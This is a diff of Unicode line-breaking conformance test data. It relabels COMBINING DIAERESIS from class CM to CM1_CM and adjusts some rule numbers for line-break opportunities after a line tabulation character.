-× 000B ÷ 0308 × 000B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 000B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 000B ÷ 0308 × 000B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 000B ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 000B ÷ FFFC ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 000B ÷ 0020 ÷ FFFC ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 000B ÷ 0308 ÷ FFFC ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 000B ÷ 0308 ÷ FFFC ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 000B ÷ 007D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 000B ÷ 0020 × 007D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 000B ÷ 0308 × 007D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 007D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 000B ÷ 0308 × 007D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 007D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 000B ÷ 0029 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 000B ÷ 0020 × 0029 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000B ÷ 0308 × 0029 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000B ÷ 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <START OF HEADING> (CM) ÷ [0.3]
-× 000B ÷ 0020 ÷ 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 000B ÷ 0308 × 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 000B ÷ 0308 × 0029 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 000B ÷ 000D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 000B ÷ 0020 × 000D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 000B ÷ 0308 × 000D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 000D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 000B ÷ 0308 × 000D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 000D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 000B ÷ 0021 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] EXCLAMATION MARK (EX) ÷ [0.3]
× 000B ÷ 0020 × 0021 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 000B ÷ 0308 × 0021 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 000B ÷ 0308 × 0021 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 000B ÷ 00A0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 000B ÷ 0020 ÷ 00A0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 000B ÷ 0308 × 00A0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 000B ÷ 0308 × 00A0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 000B ÷ AC00 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 000B ÷ 0020 ÷ AC00 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 000B ÷ 0308 ÷ AC00 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 000B ÷ 0308 ÷ AC00 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 000B ÷ AC01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 000B ÷ 0020 ÷ AC01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 000B ÷ 0308 ÷ AC01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 000B ÷ 0308 ÷ AC01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 000B ÷ 05D0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 000B ÷ 0020 ÷ 05D0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 000B ÷ 0308 × 05D0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 000B ÷ 0308 × 05D0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 000B ÷ 002D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 000B ÷ 0020 ÷ 002D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 000B ÷ 0308 × 002D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 000B ÷ 0308 × 002D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 000B ÷ 231A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] WATCH (ID) ÷ [0.3]
× 000B ÷ 0020 ÷ 231A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 000B ÷ 0308 ÷ 231A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 000B ÷ 0308 ÷ 231A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 000B ÷ 2024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] ONE DOT LEADER (IN) ÷ [0.3]
× 000B ÷ 0020 ÷ 2024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 000B ÷ 0308 × 2024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 000B ÷ 0308 × 2024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 000B ÷ 002C ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMMA (IS) ÷ [0.3]
× 000B ÷ 0020 × 002C ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 000B ÷ 0308 × 002C ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 002C ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 000B ÷ 0308 × 002C ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 002C ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 000B ÷ 1100 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 000B ÷ 0020 ÷ 1100 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 000B ÷ 0308 ÷ 1100 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 000B ÷ 0308 ÷ 1100 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 000B ÷ 11A8 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 000B ÷ 0020 ÷ 11A8 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 000B ÷ 0308 ÷ 11A8 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 000B ÷ 0308 ÷ 11A8 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 000B ÷ 1160 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 000B ÷ 0020 ÷ 1160 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 000B ÷ 0308 ÷ 1160 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 000B ÷ 0308 ÷ 1160 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 000B ÷ 000A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 000B ÷ 0020 × 000A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 000B ÷ 0308 × 000A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 000A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 000B ÷ 0308 × 000A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 000A ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 000B ÷ 0085 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 000B ÷ 0020 × 0085 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 000B ÷ 0308 × 0085 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 000B ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 000B ÷ 0308 × 0085 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 000B ÷ 0308 × 0020 × 0085 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 000B ÷ 17D6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 000B ÷ 0020 ÷ 17D6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 000B ÷ 0308 × 17D6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 000B ÷ 0308 × 17D6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 000B ÷ 0030 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] DIGIT ZERO (NU) ÷ [0.3]
× 000B ÷ 0020 ÷ 0030 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 000B ÷ 0308 × 0030 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 000B ÷ 0308 × 0030 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 000B ÷ 0028 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 000B ÷ 0020 ÷ 0028 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 000B ÷ 0308 × 0028 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 000B ÷ 0308 × 0028 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 000B ÷ 0025 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] PERCENT SIGN (PO) ÷ [0.3]
× 000B ÷ 0020 ÷ 0025 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 000B ÷ 0308 ÷ 0025 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 000B ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 000B ÷ 0308 × 0025 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 000B ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 000B ÷ 0024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] DOLLAR SIGN (PR) ÷ [0.3]
× 000B ÷ 0020 ÷ 0024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 000B ÷ 0308 ÷ 0024 ÷ # × [0.3] <LINE TABULATION> (BK) ÷ [4.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
